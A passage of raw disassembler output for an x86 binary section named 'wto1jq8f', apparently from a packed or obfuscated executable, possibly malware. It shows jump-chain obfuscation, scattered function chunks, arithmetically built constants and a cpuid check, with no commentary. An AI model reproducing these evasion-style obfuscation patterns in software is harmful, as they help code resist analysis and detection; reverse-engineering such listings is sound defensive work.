ebx, 0F692B261h jbe loc_425D0F shr ecx, 0Dh loc_42911E: ; CODE XREF: wto1jq8f:00424100j call sub_4242D6 mov edx, 81424EE7h jmp loc_4299F1 ; --------------------------------------------------------------------------- pushf mov [esp], eax push esi push 0ECF35498h pop esi add esi, 134F5A7Ah jmp loc_42E776 ; --------------------------------------------------------------------------- db 89h dd 0BC850F2Eh, 0E9FFFFF7h, 0FFFFDE46h, 14C0C150h, 0A7300589h ; --------------------------------------------------------------------------- inc edx add bl, al ; START OF FUNCTION CHUNK FOR sub_424D58 loc_42915B: ; CODE XREF: sub_424D58+5AA0j jmp nullsub_120 ; END OF FUNCTION CHUNK FOR sub_424D58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426313 loc_429160: ; CODE XREF: sub_426313+135Cj jmp loc_424276 ; END OF FUNCTION CHUNK FOR sub_426313 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429165 proc near ; CODE XREF: wto1jq8f:00424071p ; wto1jq8f:004241E8j ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004249D6 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00424EFF SIZE 00000019 BYTES ; FUNCTION CHUNK AT 004250CA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00425A36 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A1C7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AB85 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042BBC3 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042D608 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DBD7 SIZE 00000010 BYTES push ebp mov ebp, esp jmp loc_42BBC3 sub_429165 endp ; --------------------------------------------------------------------------- mov ds:dword_42ACF0, eax xor eax, eax push ebx push 57E7A135h pop ebx rol ebx, 12h jmp loc_42AAD9 ; --------------------------------------------------------------------------- shr eax, 0Eh jmp loc_427F1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424907 loc_42918B: ; CODE XREF: sub_424907+Ej xor [esi], ebx add [esi], ecx xor [esi], edx jmp loc_4248DF ; END OF FUNCTION CHUNK FOR sub_424907 ; --------------------------------------------------------------------------- loc_429196: ; CODE XREF: wto1jq8f:0042CBA0j push 56C1B726h pop eax sub eax, 20407958h add eax, 0F851163Ah xor eax, 2ED25409h jmp loc_42963D ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_4291B4: ; CODE XREF: wto1jq8f:00426B8Ej jmp loc_42E577 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4291B9 proc far ; CODE XREF: sub_42B178+Dj ; FUNCTION CHUNK AT 00426CBF SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00427A74 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00429440 SIZE 00000005 BYTES push ebp mov ebp, esp push ecx mov esp, ebp pop ebp jmp loc_426CBF sub_4291B9 endp ; --------------------------------------------------------------------------- loc_4291C5: ; DATA XREF: sub_428B3E+37FDo pop ebx mov [ebp-8], eax js loc_425D79 xor edx, edx mov eax, [ebp-8] push esi push 36478210h pop esi jmp loc_427D26 ; --------------------------------------------------------------------------- locret_4291E0: ; CODE XREF: wto1jq8f:0042BE5Fj retn ; --------------------------------------------------------------------------- jmp loc_428081 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_105. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- pop edx rol edx, 1 test edx, 4000000h jmp loc_42BBDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424406 loc_4291F5: ; CODE XREF: sub_424406:loc_426946j jnz loc_4244AB jmp loc_425A0F ; END OF FUNCTION CHUNK FOR sub_424406 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_59. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_429201: ; CODE XREF: wto1jq8f:0042C603j jz loc_42A950 jmp loc_42DD64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42920C: ; CODE XREF: sub_426535+63D7j xor edi, ebx add ebx, edx xor ebp, edx pop eax add esi, ebx jmp loc_42E2BD ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- xor edx, eax jmp loc_42CE8E ; --------------------------------------------------------------------------- loc_429221: ; DATA XREF: sub_42E5B2-64D6o push 0 call sub_424BF9 pop eax cmp dword ptr [eax], 0 jnz loc_42E5C2 jmp sub_42E5B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E5B2 loc_429237: ; CODE XREF: sub_42E5B2:loc_42E5C2j push eax push 0 call sub_424BF9 jmp loc_42EAD7 ; END OF FUNCTION CHUNK FOR sub_42E5B2 ; --------------------------------------------------------------------------- loc_429244: ; CODE XREF: wto1jq8f:0042AC1Fj push eax push 0 push 10h call sub_427D82 push ebx call near ptr sub_42B63C loc_429254: ; CODE XREF: wto1jq8f:00425E27j jmp loc_42BF18 ; --------------------------------------------------------------------------- push 0EC5122D7h jmp loc_4262B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CE2 loc_429263: ; CODE XREF: sub_425CE2+3B95j call sub_42FC85 loc_429268: ; CODE XREF: wto1jq8f:loc_42A8C0j cmp eax, [ebp-8] jnz loc_42CA26 mov eax, [ebp-14h] mov eax, [eax+24h] add eax, [ebp-4] xor edx, edx jmp loc_42778D ; END OF FUNCTION CHUNK FOR sub_425CE2 ; =============== S U B R O U T I N E ======================================= sub_429281 proc far ; CODE XREF: sub_4264F4-1BEp ; wto1jq8f:0042ACC4j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004240C3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004240CD SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00424294 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004242A4 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042431F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425E55 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427181 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004277B4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004279F3 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00427D7D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428323 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00428361 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00429454 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042955C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429690 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00429EE5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AB3A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042ADF5 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042C285 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042C2B3 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042CB08 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DB1A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E435 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E602 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0042E7BB SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042EE02 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0042EE67 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042EE79 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042EECA SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0042F0E8 SIZE 0000004D BYTES ; FUNCTION CHUNK AT 0042F7C8 SIZE 00000002 BYTES xchg ebx, [esp-4+arg_0] pop ebx add edx, 0E03E2AB0h xchg edx, [esp+0] loc_42928E: ; CODE XREF: sub_427D00+51B3j jmp loc_4242A4 sub_429281 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_429293: ; CODE XREF: wto1jq8f:loc_429A94j jns loc_42BF6F mov esi, [edx] ja near ptr loc_42F174+1 mov ebp, 29137D6Dh jmp loc_42D302 ; --------------------------------------------------------------------------- loc_4292AB: ; CODE XREF: wto1jq8f:0042AF63j mov [ecx], ebp ; =============== S U B R O U T I N E ======================================= sub_4292AD proc near ; CODE XREF: wto1jq8f:0042853Dp arg_0 = dword ptr 4 mov [esp+0], edi pop edi xchg esi, [esp-4+arg_0] jmp sub_429165 sub_4292AD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4292B9 proc near ; CODE XREF: wto1jq8f:00424DCFj ; sub_42727F:loc_426E1Bp xchg edi, [esp+0] pop edi add ebx, 11457002h add ecx, ebx jmp loc_42FD2D sub_4292B9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- and edi, 245077Dh jmp sub_42E597 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D58 loc_4292D5: ; CODE XREF: sub_424D58:loc_4243EAj ; sub_424D58+398Fj call sub_427A8D push 0C712B4C6h pop edx xor edx, 0A2CC2A03h call sub_429165 jmp loc_42FF62 ; END OF FUNCTION CHUNK FOR sub_424D58 ; --------------------------------------------------------------------------- jbe loc_42A474 sbb eax, edi pushf ; START OF FUNCTION CHUNK FOR sub_427143 loc_4292F9: ; CODE XREF: sub_427143:loc_42E7ABj call sub_42EECC loc_4292FE: ; CODE XREF: wto1jq8f:0042AE34j jmp loc_42AC78 ; END OF FUNCTION CHUNK FOR sub_427143 ; --------------------------------------------------------------------------- loc_429303: ; CODE XREF: wto1jq8f:0042A284j jmp locret_42B027 ; =============== S U B R O U T I N E ======================================= sub_429308 proc near ; CODE XREF: sub_426535+25Ap ; wto1jq8f:0042C873j ; FUNCTION CHUNK AT 004241A3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00424527 SIZE 0000000C BYTES xchg ebx, [esp+0] pop ebx push ebx push 0A8476DF9h pop ebx jmp loc_4241A3 sub_429308 endp ; =============== S U B R O U T I N E ======================================= sub_429318 proc near ; CODE XREF: sub_426535+C0j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004284CF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042BB82 SIZE 00000008 BYTES push ebx push 9ADE27B0h pop ebx add ebx, 65643DBFh jmp loc_4284CF sub_429318 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42932A: ; CODE XREF: sub_42DC5C-5B4Bj and esi, 0AC696EFEh xchg esi, edi jmp loc_42D559 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- loc_429337: ; CODE XREF: wto1jq8f:loc_429A4Aj jnz loc_42C172 jmp loc_42A1BD ; --------------------------------------------------------------------------- loc_429342: ; CODE XREF: wto1jq8f:0042C070j jz loc_42A98E jmp loc_42A74C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244EA loc_42934D: ; CODE XREF: sub_4244EA+48C2j mov eax, [ebp-4] cmp byte ptr [eax], 0EBh jz loc_427CC2 mov eax, [ebp-4] mov al, [eax] jmp loc_428979 ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- loc_429363: ; CODE XREF: wto1jq8f:00424DECj ; wto1jq8f:0042AE1Cj push offset sub_428BC4 jmp locret_426ACE ; --------------------------------------------------------------------------- xchg edi, [eax] or edx, 0D8AEE331h jmp sub_42B520 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426EA9 loc_42937A: ; CODE XREF: sub_426EA9+11j rol eax, 1 xor eax, 0B547F4A8h add eax, ebp add eax, 0AA388C32h push eax jmp loc_428436 ; END OF FUNCTION CHUNK FOR sub_426EA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4267AE loc_429390: ; CODE XREF: sub_4267AE+140Bj push 0CDC8D458h pop esi add esi, 327989F0h xchg esi, [esp+0] jmp loc_4269C1 ; END OF FUNCTION CHUNK FOR sub_4267AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426842 loc_4293A4: ; CODE XREF: sub_426842:loc_42D51Bj push esi push 0B4255884h xchg edx, [esp+0Ch+var_C] mov esi, edx pop edx sub esi, 7D5CECD7h jmp loc_42C39D ; END OF FUNCTION CHUNK FOR sub_426842 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424907 loc_4293BB: ; CODE XREF: sub_424907-26j pop ecx xchg ebp, [esp-0Ch+arg_8] mov ebx, ebp pop ebp pop ebp jmp nullsub_97 ; END OF FUNCTION CHUNK FOR sub_424907 ; =============== S U B R O U T I N E ======================================= sub_4293C8 proc near ; CODE XREF: sub_42628C:loc_42B836j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00426A14 SIZE 00000005 BYTES push ebp mov ebp, edi xchg ebp, [esp+4+var_4] push ebx push offset sub_426012 jmp loc_426A14 sub_4293C8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EDB9 loc_4293D9: ; CODE XREF: sub_42EDB9+Dj push 2BB4ADC0h pop eax xor eax, 0F780FE81h cmp eax, 6CBDEBC9h jmp loc_42A373 ; END OF FUNCTION CHUNK FOR sub_42EDB9 ; --------------------------------------------------------------------------- loc_4293F0: ; DATA XREF: sub_42ADC7-4E2Bo cmp dword ptr [ebp-4], 0 jnz loc_426AF5 jmp loc_42FA89 ; =============== S U B R O U T I N E ======================================= sub_4293FF proc near ; CODE XREF: sub_42B353:loc_424DDDp ; FUNCTION CHUNK AT 004246F2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042804E SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0042A95B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C8FC SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042E294 SIZE 00000008 BYTES xchg eax, [esp+0] mov eax, [esp+0] call sub_4245B5 test eax, eax jz loc_42E294 jmp loc_42DC85 sub_4293FF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C4E2 loc_429417: ; CODE XREF: sub_42C4E2:loc_426451j cmp dword ptr [ebp-14h], 6 ; END OF FUNCTION CHUNK FOR sub_42C4E2 ; START OF FUNCTION CHUNK FOR sub_426535 loc_42941B: ; CODE XREF: sub_426535:loc_4265AEj setz al jmp loc_4248F2 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C4E2 loc_429423: ; CODE XREF: sub_42C4E2:loc_42A398j cmp dword ptr [ebp-10h], 0 push offset sub_424BD4 jmp nullsub_170 ; END OF FUNCTION CHUNK FOR sub_42C4E2 ; --------------------------------------------------------------------------- loc_429431: ; DATA XREF: wto1jq8f:loc_4295C4o ror eax, 0Ah push eax retn ; --------------------------------------------------------------------------- loc_429436: ; CODE XREF: wto1jq8f:0042B81Ej jmp loc_428951 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B353 loc_42943B: ; CODE XREF: sub_42B353+6j jmp loc_4290BD ; END OF FUNCTION CHUNK FOR sub_42B353 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4291B9 loc_429440: ; CODE XREF: sub_4291B9-1742j jmp near ptr loc_42FB1F+4 ; END OF FUNCTION CHUNK FOR sub_4291B9 ; --------------------------------------------------------------------------- loc_429445: ; CODE XREF: wto1jq8f:0042A8A8j mov eax, [ebp-8] push esi jmp loc_42AA1C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_54. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42944F: ; CODE XREF: wto1jq8f:0042EC8Ej jmp loc_42A064 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429281 loc_429454: ; CODE XREF: sub_429281-4F5Cj jmp loc_429690 ; END OF FUNCTION CHUNK FOR sub_429281 ; =============== S U B R O U T I N E ======================================= sub_429459 proc far ; CODE XREF: wto1jq8f:004286C5j ; wto1jq8f:004295F4p ; FUNCTION CHUNK AT 00425EB4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426A33 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042A04F SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042AAB8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042C187 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D516 SIZE 00000005 BYTES mov [esp+0], edi pop edi mov esp, ebp pop ebp push 1444740Eh pop eax or eax, 0BBEF0476h jmp loc_42AAB8 sub_429459 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_429471 proc far ; DATA XREF: sub_4240F6o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424881 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00424958 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00424CE3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424E5D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004260BF SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00426615 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 004268AA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042827F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004288F7 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00429612 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A037 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B18A SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042B2C7 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042B60A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042BF35 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042C137 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042C364 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042CD28 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042DAC5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042F73D SIZE 00000012 BYTES mov eax, ds:dword_429584 or eax, eax jnz loc_42A4BD jmp loc_42DAC5 sub_429471 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_429484: ; DATA XREF: wto1jq8f:0042B490o mov dword ptr [ebp-18h], 0 ; START OF FUNCTION CHUNK FOR sub_425CE2 loc_42948B: ; CODE XREF: sub_425CE2:loc_42C878j mov eax, [ebp-14h] mov eax, [eax+20h] add eax, [ebp-4] jmp loc_42D6E3 ; END OF FUNCTION CHUNK FOR sub_425CE2 ; --------------------------------------------------------------------------- or esi, edx jmp sub_42DA35 ; --------------------------------------------------------------------------- loc_4294A0: ; CODE XREF: wto1jq8f:loc_42E071j not ecx ror edi, 1Fh jmp loc_4289DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D993 loc_4294AA: ; CODE XREF: sub_42D993+5j call sub_42A6CD ; END OF FUNCTION CHUNK FOR sub_42D993 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B565 loc_4294AF: ; CODE XREF: sub_42B565-4669j jmp near ptr loc_42FB2B+4 ; END OF FUNCTION CHUNK FOR sub_42B565 ; --------------------------------------------------------------------------- mov [ebp-4], eax mov eax, [ebp-4] mov [ebp-0Ch], eax push offset sub_427798 jmp loc_42630E ; --------------------------------------------------------------------------- loc_4294C7: ; DATA XREF: sub_42B866+2o push ecx push offset loc_42826A jmp locret_42469E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_4294D2: ; CODE XREF: sub_42ADC7-35E3j jnz loc_426AF5 jmp loc_426FB8 ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42481C loc_4294DD: ; CODE XREF: sub_42481C+Fj jz loc_42900A jmp near ptr loc_42F3C2+3 ; END OF FUNCTION CHUNK FOR sub_42481C ; --------------------------------------------------------------------------- loc_4294E8: ; CODE XREF: wto1jq8f:0042B4A8j cmp ds:dword_42F1F0, 0 jmp loc_42DAA9 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4294F4 proc near ; CODE XREF: sub_4242D6j push ebp mov ebp, esp add esp, 0FFFFFFECh cmp ds:dword_42F1F0, 0 jnz near ptr byte_42FD57 jmp near ptr loc_42FD24+4 sub_4294F4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42950C: ; CODE XREF: sub_42DC5C:loc_425FD1j or eax, eax jz loc_429524 cmp eax, 0FFFFFFFFh jz loc_429524 mov eax, [eax] jmp loc_424C6D ; --------------------------------------------------------------------------- loc_429524: ; CODE XREF: sub_42DC5C:loc_428F11j ; sub_42DC5C-4D42j ... xor ebx, ebx loc_429526: ; CODE XREF: wto1jq8f:00425FCBj mov eax, ebx pop ecx jmp loc_42F5D2 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- sub ebp, 3DA4EF86h cmp ecx, 0BE8AE95Bh jmp loc_42E331 ; --------------------------------------------------------------------------- loc_42953F: ; CODE XREF: wto1jq8f:0042C280j cmp ecx, 1B21397h jmp loc_42DEF9 ; --------------------------------------------------------------------------- dw 0C319h dword_42954C dd 0 ; wto1jq8f:0042D102r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D4F loc_429550: ; CODE XREF: sub_426D4F+12j jmp loc_42EDA3 ; END OF FUNCTION CHUNK FOR sub_426D4F ; --------------------------------------------------------------------------- db 66h, 1Ch, 0FBh dword_429558 dd 0 ; wto1jq8f:00429D31r ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429281 loc_42955C: ; CODE XREF: sub_429281-187Aj jmp loc_4240C3 ; END OF FUNCTION CHUNK FOR sub_429281 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42606D loc_429561: ; CODE XREF: wto1jq8f:00427642j ; sub_42606D:loc_42E8FDj jmp loc_42CC45 ; END OF FUNCTION CHUNK FOR sub_42606D ; --------------------------------------------------------------------------- loc_429566: ; CODE XREF: wto1jq8f:00425B15j jmp locret_425042 ; --------------------------------------------------------------------------- db 1 dword_42956C dd 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_429570: ; CODE XREF: sub_426535+3C0j jmp near ptr loc_42F552+1 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- db 26h, 0ECh, 0DFh dword_429578 dd 0 ; sub_426535+587Er ; --------------------------------------------------------------------------- loc_42957C: ; CODE XREF: wto1jq8f:0042A52Fj jmp loc_42BCDB ; --------------------------------------------------------------------------- db 1Fh, 40h, 0F0h dword_429584 dd 0 ; sub_42A4A5:loc_42A4B1w ; --------------------------------------------------------------------------- loc_429588: ; CODE XREF: wto1jq8f:0042BFCBj jmp sub_42B8FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42958D: ; CODE XREF: sub_426535+4710j jmp loc_42AB09 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- or esi, ecx jmp sub_429F7D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42606D loc_429599: ; CODE XREF: sub_42606D+2CD5j pop ebp cmp edi, ebx jmp loc_42E8FD ; END OF FUNCTION CHUNK FOR sub_42606D ; --------------------------------------------------------------------------- loc_4295A1: ; CODE XREF: wto1jq8f:0042A29Bj push 0DAD5A4F2h mov [esp], eax retn ; =============== S U B R O U T I N E ======================================= sub_4295AA proc near ; CODE XREF: sub_4243D7+1E60p ; FUNCTION CHUNK AT 00428913 SIZE 00000005 BYTES push 5202A57Ch push offset sub_42A30F jmp loc_428913 sub_4295AA endp ; --------------------------------------------------------------------------- push eax rol eax, 0Ah mov ds:dword_429050, eax retn ; --------------------------------------------------------------------------- loc_4295C4: ; CODE XREF: wto1jq8f:0042A4D4j push offset loc_429431 jmp locret_426A0E ; --------------------------------------------------------------------------- loc_4295CE: ; CODE XREF: wto1jq8f:0042C351j xchg ecx, edi sbb ebx, 0D8C6C55Fh loc_4295D6: ; CODE XREF: wto1jq8f:loc_4298E1j push edx push 0B0E4B250h pop edx rol edx, 4 xor edx, 16606A98h add edx, 0E817576Ah jmp loc_42E791 ; --------------------------------------------------------------------------- mov [esp], ecx call near ptr sub_429459 loc_4295F9: ; CODE XREF: sub_42C990+Cj jmp loc_42502C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_4295FE: ; CODE XREF: sub_426968+18j jmp loc_42E20D ; END OF FUNCTION CHUNK FOR sub_426968 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_429603: ; CODE XREF: sub_426535-14CBj jnz loc_424934 jmp loc_42A9B1 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C670 loc_42960E: ; CODE XREF: sub_42C670:loc_42CCE3j mov [edx], eax pop edx retn ; END OF FUNCTION CHUNK FOR sub_42C670 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_429612: ; CODE XREF: sub_429471-339Bj jmp loc_42F627 ; END OF FUNCTION CHUNK FOR sub_429471 ; --------------------------------------------------------------------------- loc_429617: ; CODE XREF: wto1jq8f:00428A72j ror eax, 18h jmp loc_42C665 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9B0 loc_42961F: ; CODE XREF: sub_42D9B0:loc_42AD30j jz loc_425D16 inc dword ptr [ebp-8] loc_429628: ; CODE XREF: wto1jq8f:00427037j push offset loc_425D0A jmp nullsub_79 ; END OF FUNCTION CHUNK FOR sub_42D9B0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B02D loc_429633: ; CODE XREF: sub_42B02D-2212j jmp nullsub_16 ; END OF FUNCTION CHUNK FOR sub_42B02D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425F4F loc_429638: ; CODE XREF: sub_425F4F:loc_4273AFj ror eax, 16h push eax retn ; END OF FUNCTION CHUNK FOR sub_425F4F ; --------------------------------------------------------------------------- loc_42963D: ; CODE XREF: wto1jq8f:004291AEj jmp loc_428A59 ; =============== S U B R O U T I N E ======================================= sub_429642 proc near ; CODE XREF: sub_429BFF+6p push ebp jmp loc_426129 sub_429642 endp ; --------------------------------------------------------------------------- jle loc_42D622 jmp loc_42D2B9 ; --------------------------------------------------------------------------- loc_429653: ; CODE XREF: wto1jq8f:00429F27j mov eax, esp jmp loc_424DBA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB36 loc_42965A: ; CODE XREF: sub_42CB36j mov eax, ds:dword_42F1CC or eax, eax loc_429662: ; CODE XREF: sub_426535:loc_427C02j jnz loc_42BC8F jmp loc_42794E ; END OF FUNCTION CHUNK FOR sub_42CB36 ; --------------------------------------------------------------------------- loc_42966D: ; CODE XREF: wto1jq8f:0042E19Dj jl sub_4296B3 pop edx add edx, 0B587069Ah loc_42967A: ; CODE XREF: wto1jq8f:loc_42E17Fj xor eax, 10A02000h xor ebx, ebx xor edx, edx cpuid and eax, 2FFFh jmp loc_429CA3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429281 loc_429690: ; CODE XREF: sub_429281:loc_429454j jnz loc_42F8FF jmp loc_4277B4 ; END OF FUNCTION CHUNK FOR sub_429281 ; =============== S U B R O U T I N E ======================================= sub_42969B proc near ; CODE XREF: sub_42ED54+Ap xchg eax, [esp+0] mov eax, [esp+0] rol eax, 16h mov ds:dword_42ACFC, eax retn sub_42969B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BE69 loc_4296AB: ; CODE XREF: wto1jq8f:0042C392j ; sub_42BE69+B83j ror eax, 16h jmp loc_424569 ; END OF FUNCTION CHUNK FOR sub_42BE69 ; =============== S U B R O U T I N E ======================================= sub_4296B3 proc near ; CODE XREF: wto1jq8f:loc_42966Dj ; sub_42ADC7:loc_42D949p var_4A131E7C = byte ptr -4A131E7Ch ; FUNCTION CHUNK AT 0042FD4D SIZE 0000000A BYTES mov [esp+0], eax call sub_42DFE5 call sub_429BD3 loc_4296C0: ; CODE XREF: wto1jq8f:loc_425E30j jz loc_4250E0 push ebp push offset sub_4250D4 jmp loc_42FD4D sub_4296B3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4296D1: ; CODE XREF: wto1jq8f:004276AEj jnp loc_428A0E xchg edi, [edx] jmp sub_42C670 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426313 loc_4296DE: ; CODE XREF: sub_426313-2097j test ebx, 0C72A9BCBh jmp loc_42B096 ; END OF FUNCTION CHUNK FOR sub_426313 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426950 loc_4296E9: ; CODE XREF: sub_426950+1j mov ebp, esp push ecx mov esp, ebp xchg ebx, [esp+8+var_8] jmp loc_428484 ; END OF FUNCTION CHUNK FOR sub_426950 ; --------------------------------------------------------------------------- push 42EFE8h jmp locret_42679B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426842 loc_429700: ; CODE XREF: sub_426842+5EE3j ja loc_424D94 ; END OF 